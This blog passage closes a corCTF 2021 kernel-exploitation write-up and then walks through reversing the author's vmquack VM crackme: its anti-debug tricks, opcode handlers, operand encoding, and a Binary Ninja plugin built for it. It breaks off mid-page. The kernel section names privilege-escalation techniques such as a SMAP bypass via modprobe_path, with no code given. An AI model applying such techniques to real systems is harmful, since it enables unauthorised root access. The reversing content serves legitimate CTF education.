target="_blank">jass93 of RPISEC</a> for taking the unofficial post-CTF first blood on this challenge. The player didn't exactly go down the intended route of abusing an arb free primitive, but rather went on to abuse the unlinking mechanism in msgrcv, which seems quite powerful too. Overall, D3v17 and I learned a lot from developing these challenges, and believe that these primitives will be quite applicable on most kernel versions given a somewhat sizeable UAF. The changing in default unpriviledged userfaultfd permissions definitely deprecate these primitives, and the potential idea of a <a href="https://a13xp0p0v.github.io/2020/11/30/slab-quarantine.html">SLAB quarantine</a> mechanism would render this technique pretty much useless for non 4k slab sizes due to its reliance on LIFO behavior. Another really interesting kernel hardening measure we accidentally stumbled upon was <a href="https://lwn.net/Articles/743749/">usercopy whitelisting</a>, in which slab regions have whitelists on what usercopy can interact with. Luckily, fallback is enabled by default and on most Linux distros, but if it was enabled, our SMAP bypass methodology would have failed. Thankfully modprobe_path and core_pattern still exists, but we wonder what other SMAP bypass techniques would be just as simple and elegant. Hopefully, you would have learned a lot from this writeup, and make sure to read D3v17's in depth and amazing <a href="https://syst3mfailure.io/wall-of-perdition" target="_blank">writeup for Wall of Perdition</a>!</div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8814147965526194982.post-8644709108877179792021-08-26T12:34:00.011-07:002021-08-26T21:37:07.455-07:00corCTF 2021 vmquack writeup: Writing a Custom Binary Ninja Architecture Plugin to Devirtualize a Crackme<p>vmquack was a CISC VM reversing challenge I wrote for corCTF 2021 loosely based on x86_64 as I have been expanding my skillset beyond just pwn recently. It utilized a few anti-debugging tricks inspired by <a href="http://index-of.es/Miscellanous/LIVRES/anti-reverse-engineering-linux.pdf" target="_blank">this pdf</a>, and just for fun, I decided to play around with Binary Ninja's API to write a disassembler for the vmcode with graph view, and even lift it to have decompilation capabilities. Since this is a reversing challenge (and as an author, there is a ton of authorship bias since I'm basically reversing something I wrote source for), I will do my best to present the important pieces of information and try to present it in a way to replicate how someone would approach this challenge.</p>Initial analysis lets us know that this is a stripped static ELF. Though often seen as an annoyance in reversing challenges, I pretty much had to link it statically to get the crackme to work in a stable manner across different distros. Regardless, my challenge made very little use of library functions and main is trivial to get to from the entry point. Running the binary shows the following:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-ugg9ZuX383A/YSfj_kXvTaI/AAAAAAAACE4/ZrBiQIQ77bUQETlA3hbeHBVnhdvY_K33ACLcBGAsYHQ/s671/1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="409" data-original-width="671" height="390" src="https://1.bp.blogspot.com/-ugg9ZuX383A/YSfj_kXvTaI/AAAAAAAACE4/ZrBiQIQ77bUQETlA3hbeHBVnhdvY_K33ACLcBGAsYHQ/w640-h390/1.png" width="640" /></a></div><div><br /></div><div>Trying to run it in gdb results in the following:</div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-LtDMHp2DVeI/YSfka85UYoI/AAAAAAAACFE/Oc5EJCUsJichgTT5rETOzbRZ6euOTbhVQCLcBGAsYHQ/s538/2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="149" data-original-width="538" height="178" src="https://1.bp.blogspot.com/-LtDMHp2DVeI/YSfka85UYoI/AAAAAAAACFE/Oc5EJCUsJichgTT5rETOzbRZ6euOTbhVQCLcBGAsYHQ/w640-h178/2.png" width="640" /></a></div><div><br /></div><div>Running in strace results in the following:</div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-qq9FWWkqSL4/YSfkkI30ieI/AAAAAAAACFI/omPik1Hz3qcr5vx0p-O-k0ZFQh-jzJx_wCLcBGAsYHQ/s1231/3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="342" data-original-width="1231" height="178" src="https://1.bp.blogspot.com/-qq9FWWkqSL4/YSfkkI30ieI/AAAAAAAACFI/omPik1Hz3qcr5vx0p-O-k0ZFQh-jzJx_wCLcBGAsYHQ/w640-h178/3.png" width="640" /></a></div><br /><div>Already, there is some anti-debug, but these are pretty trivial to bypass - they are in the constructors before main which you can find addresses for in the .init_array. The first one is just setting up another trap signal handler, and since gdb won't use it, the program goes down an alternative execution path that leads to an exit. The second one is just a classic fork, PTRACE_ATTACH PTRACE_ATTACH PTRACE_TRACEME PTRACE_TRACEME anti-debug. If any of these calls return an unexpected value (such as -1 on the first call or 0 on the second call of the same ptrace option), it sends a sigkill signal to the parent thread (the prctl(PR_SET_TRACER, PR_SET_PTRACER_ANY) was needed to ignore the default ptrace_scope values in yama LSM). These mechanisms are quite easy to bypass, but I also revirtualized the second anti-debug technique with 2 more anti-debug/patching techniques hidden in the virtualized code region, which are seen as quack_quack_data at 0x13370000 and quack_quack_text at 0x31337000 in memory and elfparsers.</div><div><br /></div><div>Looking at main at 0x402d01, another function that is commonly used is 0x402dc7, which is what writes out the program strings (all the program strings were encrypted by an 8 byte xor key and stored in a struct containing the length, the 8 byte xor key, and a pointer to the encrypted string). 0x40299e is the beginning of the vm, and afterwards, the program checks the return value. If it is 0, it is considered a success, else a failure.</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-ahfP0i5r9hU/YSflOtd1TcI/AAAAAAAACHM/TNdtmn3zG78gdfXO8F94TaDG5cKFyvMsQCLcBGAsYHQ/s798/4.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="475" data-original-width="798" height="380" src="https://1.bp.blogspot.com/-ahfP0i5r9hU/YSflOtd1TcI/AAAAAAAACHM/TNdtmn3zG78gdfXO8F94TaDG5cKFyvMsQCLcBGAsYHQ/w640-h380/4.png" width="640" /></a></div><div><br /></div><div>Now, we can start reversing the vm handler itself. I'll just highlight a few important parts and emphasize important parts of the logic rather than going through every single handler. It's important to note that the vm handlers were all written with handwritten inline assembly, so a decompiler won't be of much use here. <br /><br />Looking at the vm start:</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-gjnPzTJVlzw/YSflPMvidzI/AAAAAAAACHQ/VuBIQGDpQQ4yLwrk-XETcreuOIQPau2_gCLcBGAsYHQ/s805/5.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="693" data-original-width="805" height="550" src="https://1.bp.blogspot.com/-gjnPzTJVlzw/YSflPMvidzI/AAAAAAAACHQ/VuBIQGDpQQ4yLwrk-XETcreuOIQPau2_gCLcBGAsYHQ/w640-h550/5.png" width="640" /></a></div><div><br /></div><div>As you might have seen in main, rdi carries the location of the vm_context struct, with rsi acting as a pointer to the vmcode, rdx being a pointer to the mmap'd region (which acts as the vm stack), with the next argument representing the vm stack size. As mentioned earlier, this VM is based on x86_64, so the offsets in the context struct correspond to the vm registers that represent their x86_64 equivalent (even the rflags register is included). Although unclear for now, offset 0 of the context struct is a spot for immediate operands.<br /><br />The rsi register is used as the vm instruction pointer, r15 points to the dispatch table of handlers, and rdi points to the vm context. The following information will become apparent later on as I go through more vm handlers, but rax is utilized as an idx for jump tables and sometimes as a temporary variable, rbx is used to hold information about instruction operating size and addressing modes, r8 and r9 are generally used for destination and source for vm opcode handling, and r10 to r14 are utilized as temporary variables. vmquack supports immediate to register, immediate to memory (where memory address is in a register), register to register, register to memory, memory to register, and memory to memory addressing modes, which is different from x86_64. Operands must match in size, with supported sizes being BYTE, WORD, DWORD, and QWORD. <br /><br />Now, let's look at the main dispatch handler:</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-F04OZcQ-BrQ/YSflPCaOJwI/AAAAAAAACHU/eufrxe9Koz0S6ItHbqZFntTzDblmew9AACLcBGAsYHQ/s748/6.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="404" data-original-width="748" height="346" src="https://1.bp.blogspot.com/-F04OZcQ-BrQ/YSflPCaOJwI/AAAAAAAACHU/eufrxe9Koz0S6ItHbqZFntTzDblmew9AACLcBGAsYHQ/w640-h346/6.png" width="640" /></a></div><div><br /></div><div>It uses the lodsb instruction to automatically adjust rsi and store the instruction opcode into rax (effectively adjusting our vm rip for us). Notice how it does check the vm opcode is within the dispatch table; if it fails, it jumps into 0x401c71, which is just a ud2 instruction. This jump to ud2 theme is repeated throughout to help guide reversers to understand valid instruction formats.<br /><br />Now, let's look through the instruction handlers. I'll start by detailing some of the special handlers. <br /><br />Opcode 0:</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-j9k_XshabaM/YSflPfsFUWI/AAAAAAAACHY/HKRw2Zw77IAr1_qMEu_gs81k7AvToVAlQCLcBGAsYHQ/s506/7.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="256" data-original-width="506" height="324" src="https://1.bp.blogspot.com/-j9k_XshabaM/YSflPfsFUWI/AAAAAAAACHY/HKRw2Zw77IAr1_qMEu_gs81k7AvToVAlQCLcBGAsYHQ/w640-h324/7.png" width="640" /></a></div><div><br /></div><div>At 0x402a14, it just restores all the pushed registers in the vm starting handler, and then returns. This represents an halt opcode, and allows the main program to know the return value of the vm based on the virtual RAX register.</div><div><br />Opcode 1:</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-LLUqbdxLJvs/YSflPXUJnWI/AAAAAAAACHg/WpLaXRtDngAQQDyTt_p1SX7GK5eMz8nSgCLcBGAsYHQ/s724/8.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="724" data-original-width="575" height="640" src="https://1.bp.blogspot.com/-LLUqbdxLJvs/YSflPXUJnWI/AAAAAAAACHg/WpLaXRtDngAQQDyTt_p1SX7GK5eMz8nSgCLcBGAsYHQ/w508-h640/8.png" width="508" /></a></div><div><br /></div><div>
This is a syscall handler. This can also be a great way to help us identify and confirm our hypothesis about which offset in the vm context matches with which x86_64 register (the entire VM is basically baby x86_64 with some differences in terms of what operands are expected and valid addressing modes). The return value of the syscall is also stored, before jumping back to the main dispatch handler.<br /><br />Opcode 3:</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-nsfBAlD-W-Q/YSflPboh3ZI/AAAAAAAACHc/jTNzMJa1O2UbN9LryyIxHzkC7ySFJ16MgCLcBGAsYHQ/s788/9.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="788" data-original-width="688" height="640" src="https://1.bp.blogspot.com/-nsfBAlD-W-Q/YSflPboh3ZI/AAAAAAAACHc/jTNzMJa1O2UbN9LryyIxHzkC7ySFJ16MgCLcBGAsYHQ/w558-h640/9.png" width="558" /></a></div><div><br /></div><div>This function moves sets the real registers accordingly as if it's going to make a function call according to SYSVABI convention. It also reads a byte after the instruction opcode and treats it as an index. The stack is changed before being restored back later on (for additional arguments that go beyond the number of given registers for function call arguments, although alignment isn't guaranteed here). It also makes a call based on a function table at 0x4b0be0; this is basically a call of the real program's functions. Going through the function table based on known constants and strings, index 0 is for a function that sha256sum verifies portions of the binary against patching, index 1 is malloc, index 2 is free, and index 3 invovles some AES decryption (as you will see later, this is called with your input as arguments when the flag checker passes to give you the flag). Invalid indices do not go to a ud2 in this case, but rather just returns -1 to the vm. <br /><br />The last special opcode is opcode 32. This does nothing but jumps back to the main_handler, hence it is just a nop.<br /><br />Before I continue looking at other opcodes, there are a few operand handlers that I would like to discuss.<br /><br />At 0x401dfc, we see the start of the following function (zoomed in as the graph view is very large):</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-Oh7JjeqR608/YSflKEvKJzI/AAAAAAAACFc/XIMre8L-cdU_aN_dLv1MR5G1piFyCOZtwCLcBGAsYHQ/s1236/10.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="748" data-original-width="1236" height="388" src="https://1.bp.blogspot.com/-Oh7JjeqR608/YSflKEvKJzI/AAAAAAAACFc/XIMre8L-cdU_aN_dLv1MR5G1piFyCOZtwCLcBGAsYHQ/w640-h388/10.png" width="640" /></a></div><div><br /></div><div>From this instruction, we can determine that the byte proceeding after most opcodes contain information about the addressing modes (as well as size which you will see later on). Take note how addresses are constantly pushed, then a jump to elsewhere happens. At most of those places, it will end at a ret to return back to that pushed location in the previous handler. I wasn't sure if there was terminology for this, but Asphyxia mentioned to me while working on this that this is obfuscation with defer-like control flow. <br /><br />We notice that if the first bit is set in the second byte, it jumps to a region that looks like this:</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-qEwVNwU0h3s/YSflKPIABaI/AAAAAAAACFU/CgdLVRFa2TAGBvFXGlkrfZiTnFj4o1MqwCLcBGAsYHQ/s843/11.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="512" data-original-width="843" height="388" src="https://1.bp.blogspot.com/-qEwVNwU0h3s/YSflKPIABaI/AAAAAAAACFU/CgdLVRFa2TAGBvFXGlkrfZiTnFj4o1MqwCLcBGAsYHQ/w640-h388/11.png" width="640" /></a></div><div><br /></div><div>Based on the bits set in the previously consumed byte, it either reads in a byte, a word, a dword, or a qword (as the vm instruction length is variadic). This is the vm consuming some intermediate value. It also moves the value into the r9 register. The value is stored in the immediate register offset in the vm context when it returns to 0x401d7f and r9 will hold the pointer to that location (this will help with the consistency for operating between immediate/register/memory for instruction handlers). If it didn't go into this immediate branch, it goes and consumes a register, which it determines by consuming the next byte, decrementing, and comparing (the correct offset's address will then be loaded into rax, which then gets transferred to r9):</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-usbrNRm_Hpo/YSflKBvMjLI/AAAAAAAACFY/3bDp7Jk3AxoJR5MzHnEclnV0k22pWya-ACLcBGAsYHQ/s1384/12.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="754" data-original-width="1384" height="348" src="https://1.bp.blogspot.com/-usbrNRm_Hpo/YSflKBvMjLI/AAAAAAAACFY/3bDp7Jk3AxoJR5MzHnEclnV0k22pWya-ACLcBGAsYHQ/w640-h348/12.png" width="640" /></a></div><div><br /></div><div>Do note that before the register selection, it also determines whether this register will be used as just a register, or as a pointer to memory. It does so in the push of the address onto the stack which the register cases then return too.</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-_S_4dOj73aY/YSflKj0q_nI/AAAAAAAACFg/zII66nqS5oUyw6DaccYaxGcX1jjXrVCYQCLcBGAsYHQ/s835/13.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="246" data-original-width="835" height="188" src="https://1.bp.blogspot.com/-_S_4dOj73aY/YSflKj0q_nI/AAAAAAAACFg/zII66nqS5oUyw6DaccYaxGcX1jjXrVCYQCLcBGAsYHQ/w640-h188/13.png" width="640" /></a></div><div><br /></div><div>In this case, 0x401d9e represents the case of a plain register, while 0x401dba represents a memory operand based on the register (their disassembly makes that very clear).<br /><br />Lastly, notice how at the beginning of this handler, the push will make it return 0x401e32, which just sets r8 equal to r9 (r9 held the value of intermediate/register/memory), before returning to the opcode handler that called it. This entire handler is just for determining the addressing modes used for unary operands. <br /><br />Another commonly used operand handler is at 0x401e3c. It basically does similar things, but only handles registers (and registers pointing to memory) with the 3rd byte in the instruction, and stores results into the r8 register. It's initial push however causes it to return to 0x401e63, which behaves the same as unary handler on the 4th byte (and allows for immediates as well). However, this time the values in r9 aren't moved into r8, and then after these handlers finish, it goes back to the opcode handlers that called it. Overall, this is a binary opcode operand handler. As you will see later on, r8 holds the destination, while r9 holds the source equivalent in x86_64 during the instruction handlers.<br /><br />The last used operand handler for instructions is at 0x401e9c which does the same thing as the first part in the binary opcode handler, but then goes into 0x401ec7, which just lodsb a byte and moves it into rcx, and then returns into handlers. As one will see later (or can perhaps even guess based on x86_64 behavior), this is a shift opcode handler (but only 1 byte immediates are allowed for source operand).<br /><br />From the above conditionals for register selection and size, we can determine the following information. The second byte holds addressing mode and size information. The 0th bit represents the use of an immediate source, the 1st bit represents the use of a register source, the 2nd bit represents the use of a memory source, the 3rd bit represents the use of a register destination, the 4th bit represents the use of a memory destination, the 5th bit represents byte sized operations, the 6th bit represents word sized operations, the 7th bit represents dword sized operations, and the default operation size is for qwords. Moreover, when a byte is used to determine the register used for register or memory referencing based on register value, the following values are used: 0 is RAX, 1 is RBX, 2 is RCX, 3 is RDX, 4 is RSI, 5 is RDI, 6 is R8, 7 is R9, 8 is R10, 9 is R11, 10 is R12, 11 is R13, 12 is R114, 13 is R115, 14 is RBP, 15 is RSP, and 16 is RFLAGS.<br /><br />With these operand handlers for opcodes finished, we can go back to the instruction handlers.<br /><br />Opcode 2:</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-2VmuV0gJbzc/YSflK93331I/AAAAAAAACFk/u4ePdWjD7rYUcimv0_pG4Iz9d7zoGvbmACLcBGAsYHQ/s1234/14.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="660" data-original-width="1234" height="342" src="https://1.bp.blogspot.com/-2VmuV0gJbzc/YSflK93331I/AAAAAAAACFk/u4ePdWjD7rYUcimv0_pG4Iz9d7zoGvbmACLcBGAsYHQ/w640-h342/14.png" width="640" /></a></div><div><br /></div><div>This opcode calls the unary operand handler, and only accepts either a qword register or memory operand, or a byte or dword operand. When taking a register or memory operand, it directly sets the vm rip to it. In the other case, it adds it after sign extending. Also note that other cases lead to a ud2, and that stack offset is decremented by 8, with the current vm rip opcode (this will be pointing to the next vm instruction from the current one as rsi is adjusted from lodsb) stored in it. This is a vm call instruction. Opcode 7 is a vm jmp, and does the same thing (except for the push of the next instruction address.<br /><br />Opcodes 8 to 13 are conditional jumps, and only take relative immediate byte or dword offsets from the next vm instruction. It also stores the real program's flags, before using the vm's flags register to make the determination of the jump before restoring the original flags.</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-6UJ8ZlVDVWI/YSflK4sg_SI/AAAAAAAACFs/tWmw6dlJ_uUHkoLgGE4ibWXbuU1JFoRAACLcBGAsYHQ/s975/15.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="723" data-original-width="975" height="474" src="https://1.bp.blogspot.com/-6UJ8ZlVDVWI/YSflK4sg_SI/AAAAAAAACFs/tWmw6dlJ_uUHkoLgGE4ibWXbuU1JFoRAACLcBGAsYHQ/w640-h474/15.png" width="640" /></a></div><div><br /></div>
Opcode 4 is another important one:<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-641JhDJ2rIs/YSflK6HGg1I/AAAAAAAACFo/hY0M0rp-jt00LRIXw0-CvroRvvWzjff-QCLcBGAsYHQ/s407/16.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="233" data-original-width="407" height="366" src="https://1.bp.blogspot.com/-641JhDJ2rIs/YSflK6HGg1I/AAAAAAAACFo/hY0M0rp-jt00LRIXw0-CvroRvvWzjff-QCLcBGAsYHQ/w640-h366/16.png" width="640" /></a></div>
<div><br /></div>If you remember opcode 2, this is popping from the vm stack and restoring the vm rip to it, making this a ret instruction.<br /><br />Opcode 5 and 6 are quite important. Here is opcode 5:<div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-Jo8BLC1I9Ng/YSflLPUBCaI/AAAAAAAACFw/x3e361ZYX009r1aXWoJAzyjgny0sE3REwCLcBGAsYHQ/s1393/17.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="795" data-original-width="1393" height="366" src="https://1.bp.blogspot.com/-Jo8BLC1I9Ng/YSflLPUBCaI/AAAAAAAACFw/x3e361ZYX009r1aXWoJAzyjgny0sE3REwCLcBGAsYHQ/w640-h366/17.png" width="640" /></a></div>
</div><div>Notice the stack adjustment, and how it stores the result from the unary handler onto the vm stack. If the operating size is a qword, then immediates aren't allowed. Otherwise, only immediates are allowed and they are sign extended. This is the vm push instruction</div><div><br />Opcode 6 you can probably guess:</div><div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-BLoqARfkXjY/YSflLaPkKnI/AAAAAAAACF0/SyilQ6g0ye8VHHBzdmBEFhJYEMIgKZxNgCLcBGAsYHQ/s662/18.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="662" data-original-width="577" height="640" src="https://1.bp.blogspot.com/-BLoqARfkXjY/YSflLaPkKnI/AAAAAAAACF0/SyilQ6g0ye8VHHBzdmBEFhJYEMIgKZxNgCLcBGAsYHQ/w558-h640/18.png" width="558" /></a></div>
</div><div>Only the qword operand size is allowed, the stack is deremented with the value stored in the specified unary operand. This is a vm pop. Technically, popping into the immediates is allowed by this logic, but I just never did that in my vm code :^)</div><div><br />Opcode 30 is another key handler.</div><div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-1YWHOYDRm_w/YSflLRtjs3I/AAAAAAAACF4/Xd6BuqNmYLwtyNXIeNXdJkLnNxKBkPVxwCLcBGAsYHQ/s1443/19.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="713" data-original-width="1443" height="316" src="https://1.bp.blogspot.com/-1YWHOYDRm_w/YSflLRtjs3I/AAAAAAAACF4/Xd6BuqNmYLwtyNXIeNXdJkLnNxKBkPVxwCLcBGAsYHQ/w640-h316/19.png" width="640" /></a></div><div>
</div><div>This is the vm mov instruction, which the vmcode itself ended using a lot.<br /><br />Lastly, I will go over 2 more instruction handlers, one unary instruction and one binary instruction.</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-2FyKHaCPa64/YSflLsZSVhI/AAAAAAAACF8/ohwvUbSo7IUcZ3_a7hya4xT9dZ4mF8IRQCLcBGAsYHQ/s958/20.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="769" data-original-width="958" height="514" src="https://1.bp.blogspot.com/-2FyKHaCPa64/YSflLsZSVhI/AAAAAAAACF8/ohwvUbSo7IUcZ3_a7hya4xT9dZ4mF8IRQCLcBGAsYHQ/w640-h514/20.png" width="640" /></a></div><div><br /></div><div>This is a vm dec instruction. Notice how the vm flags are set accordingly by switching the program's rflags register to the vm's rflags register, and then restored back accordingly. Also take note of the extra branching for when the case the operand size is dword and the destination operand is a register, as it behaves the same as x86_64 and zeroes out the upper 32 bits.<br /><br />Opcode 22 is an example of a binary operation.</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-UOvggt7qNFk/YSflLnl7JMI/AAAAAAAACGA/SlFJLMRurkYABcf4k9etpXO_Z4qiisktACLcBGAsYHQ/s1125/21.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="781" data-original-width="1125" height="444" src="https://1.bp.blogspot.com/-UOvggt7qNFk/YSflLnl7JMI/AAAAAAAACGA/SlFJLMRurkYABcf4k9etpXO_Z4qiisktACLcBGAsYHQ/w640-h444/21.png" width="640" /></a></div><div><br /></div><div>This is a vm xor, with the source being in r9 and the destination being in r8. Notice how it sets the vm flags and handles register destination of size dwords similarly to the previous unary operation.<br /><br />The rest of the vm handlers are pretty similar, as knowing what they do is quite obvious (since the instruction is in the handler). A few noteworthy exceptions is that vm_shl and vm_shr use the shift operand handlers as mentioned earlier, and that mul, imul, div, and idiv handle the vm behavior just like how it would handle it in x86_64 (with the exception that now imul and idiv only have the one operand form). There are probably a few bugs throughout the vm handlers (such as in idiv) because writing a sizable vm reversing challenge in manual assembly probably isn't the best thing to do a few days before a CTF starts.<br /><br />At this point, the handlers should be marked accordingly:</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-ygCtY_Bbth0/YSflL-6mxXI/AAAAAAAACGE/kbKoifXDfpEratVvF7NFxxymUX9RT_c_gCLcBGAsYHQ/s766/22.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="766" data-original-width="407" height="640" src="https://1.bp.blogspot.com/-ygCtY_Bbth0/YSflL-6mxXI/AAAAAAAACGE/kbKoifXDfpEratVvF7NFxxymUX9RT_c_gCLcBGAsYHQ/w340-h640/22.png" width="340" /></a></div><div><br /></div><div>Now, we can write a disassembler to help us figure out what the vmcode is doing. For this section, I decided to experiment with Binary Ninja's API and wrote a crude plugin (source linked at the end of this post); my teammate hgarrereyn on DiceGang always makes Binary Ninja plugins for vm reversing challenges, so this was where I took some my inspiration from. To make my plugin work seamlessly on the dump of vmdata and vmcode data I made, I just broke it into a file format starting with the string vmquack, followed by addresses and respective lengths of each vm section. Disassembly, control flow graphs, binary view, and section permissions are all detailed with this <a href="https://binary.ninja/2020/01/08/guide-to-architecture-plugins-part1.html">wonderful post</a> from Binary Ninja. As for the rest, you pretty much have to rely on other Binary Ninja plugins (such as their <a href="https://github.com/Vector35/Z80">Z80 plugin</a> and a community <a href="https://github.com/uni-due-syssec/bn-riscv">riscv plugin</a>) with their <a href="https://api.binary.ninja/">python api doc</a>. For most of the LLIL lift, you can rely on <a href="https://api.binary.ninja/binaryninja.lowlevelil-module.html">this page</a>, and just append LLIL instructions to the given IL array for the get_instruction_low_level_il method in the custom architecture class. When implementing the lift, I found it helpful to break each operand into its own LLIL expression, before applying the overall LLIL expression on top. One thing to note is about flags lifting. I didn't do this part very accurately (just enough to generally work), but Binary Ninja has some very basic documentation for it in their dev branch of release. You can create your own (which I didn't) by setting a SpecialFlagRole and overriding behavior in get_flag_write_low_level_il, but they also do handling for some common flags for very few instructions (add, sub, neg). Applying calling convention is another important task for HLIL, but the <a href="https://api.binary.ninja/binaryninja.platform-module.html">docs</a> for those are quite self-explanatory; I just set a default calling convention and one for syscalls.</div><div><br />Now with the plugin, I'll provide a brief overview of the VM (graph view and the ability to look between LLIL, MLIL, and decomp can make reversing much faster, especially with all the extra normal features of Binary Ninja such as xrefs and compiler optimization, despite this already being a relatively simple vm program).</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-NP_rG0Wk4HA/YSflL-miVkI/AAAAAAAACGI/-qzHg5Xp99o-ojnZtsGTrH_v4JHzbbMVwCLcBGAsYHQ/s827/23.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="827" data-original-width="809" height="640" src="https://1.bp.blogspot.com/-NP_rG0Wk4HA/YSflL-miVkI/AAAAAAAACGI/-qzHg5Xp99o-ojnZtsGTrH_v4JHzbbMVwCLcBGAsYHQ/w626-h640/23.png" width="626" /></a></div><div><br /></div><div>The vm starts off at the entry point calling main. The next few following functions are all syscall handlers. 0x31337008 is exit, 0x31337012 is kill, 0x31337026 is write, 0x31337051 is read, and so forth. There is one special case at 0x31337030, which just writes a newline.</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-KQ2ulLIYBE4/YSflMAbhrRI/AAAAAAAACGM/_cLE1rfkF5Qeg-_bYTyboRrSqEH7MPHJACLcBGAsYHQ/s791/24.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="137" data-original-width="791" height="110" src="https://1.bp.blogspot.com/-KQ2ulLIYBE4/YSflMAbhrRI/AAAAAAAACGM/_cLE1rfkF5Qeg-_bYTyboRrSqEH7MPHJACLcBGAsYHQ/w640-h110/24.png" width="640" /></a></div><div><br /></div><div>Then a series of simple string/memory functions are defined.</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-D9kT7az2K9w/YSflMI5iTdI/AAAAAAAACGQ/jvgS4ADqAusK79Q92BIvt1SdwWopgstOgCLcBGAsYHQ/s1101/25.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="604" data-original-width="1101" height="352" src="https://1.bp.blogspot.com/-D9kT7az2K9w/YSflMI5iTdI/AAAAAAAACGQ/jvgS4ADqAusK79Q92BIvt1SdwWopgstOgCLcBGAsYHQ/w640-h352/25.png" width="640" /></a></div><div><br /></div><div>HLIL is turning out to be decently accurate! Just to show case graph view as well, here is what strlen looks like:</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-eSkx5DVjcgo/YSflMFIhsVI/AAAAAAAACGU/WZS06q0j4VcdXPVHq0D29b5DicpiZ2K3ACLcBGAsYHQ/s655/26.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="391" data-original-width="655" height="382" src="https://1.bp.blogspot.com/-eSkx5DVjcgo/YSflMFIhsVI/AAAAAAAACGU/WZS06q0j4VcdXPVHq0D29b5DicpiZ2K3ACLcBGAsYHQ/w640-h382/26.png" width="640" /></a></div><div><br /></div><div>Binary Ninja's graph view also works in all other modes including LLIL, MLIL, and decomp.<br /><br />malloc and free are the two functions following strlen (as evidenced by their extern call). Technically, the behavior of this vm's malloc is really calloc. Following those two functions is a nanosleep function and a prctl function to ignore ptrace_scope rules that the vm utilizes throughout with the virtualized anti debug i mentioned earlier.<br /><br />Before continuing, there are 2 more important functions to address: 0x31337644 and 0x31337724.<br />The first is just a simple xor decryption routine, given the previously mentioned encrypted message struct in the program itself:</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-RKOiQqj-XHE/YSflMeJc5eI/AAAAAAAACGc/p9sfaa2_0BEwpyKvLfpfwZDlxsgWMCwCQCLcBGAsYHQ/s1008/27.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="747" data-original-width="1008" height="474" src="https://1.bp.blogspot.com/-RKOiQqj-XHE/YSflMeJc5eI/AAAAAAAACGc/p9sfaa2_0BEwpyKvLfpfwZDlxsgWMCwCQCLcBGAsYHQ/w640-h474/27.png" width="640" /></a></div><div><br /></div><div>The second function is just a wrapper around this, that also zeroes it out post decryption and frees it.</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-TDsC4iSm0tk/YSflMczGk4I/AAAAAAAACGY/k3km2jx9_cA00DK56KsrbcanDoYj1rIpACLcBGAsYHQ/s701/28.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" 